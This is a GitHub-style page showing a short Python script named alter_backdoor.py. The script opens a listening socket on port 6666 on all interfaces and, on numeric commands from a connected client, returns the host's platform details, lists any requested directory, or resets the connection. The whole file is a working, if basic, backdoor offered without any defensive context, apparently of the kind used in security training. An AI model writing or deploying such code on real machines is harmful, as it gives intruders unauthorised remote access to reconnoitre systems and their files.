-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathalter_backdoor.py
36 lines (30 loc) · 1 KB
/
alter_backdoor.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import os, platform, socket
SRV_ADDR = "0.0.0.0"
SRV_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
print("Server started, Waiting for connections...")
connection, address = s.accept()
print("Client connected with address: ", address)
while 1:
try:
data = connection.recv(1024)
except: continue
if (data.decode('utf-8') == '1'):
tosend = platform.platform() + " " + platform.machine()
connection.sendall(tosend.encode())
elif (data.decode('utf-8') == '2'):
data = connection.recv(1024)
try:
filelist = os.listdir(data.decode('utf-8'))
tosend = ""
for x in filelist:
tosend += ", " + x
except:
tosend = "Wrong Path"
connection.sendall(tosend.encode())
elif (data.decode('utf-8') == '0'):
connection.close()
connection, address = s.accept()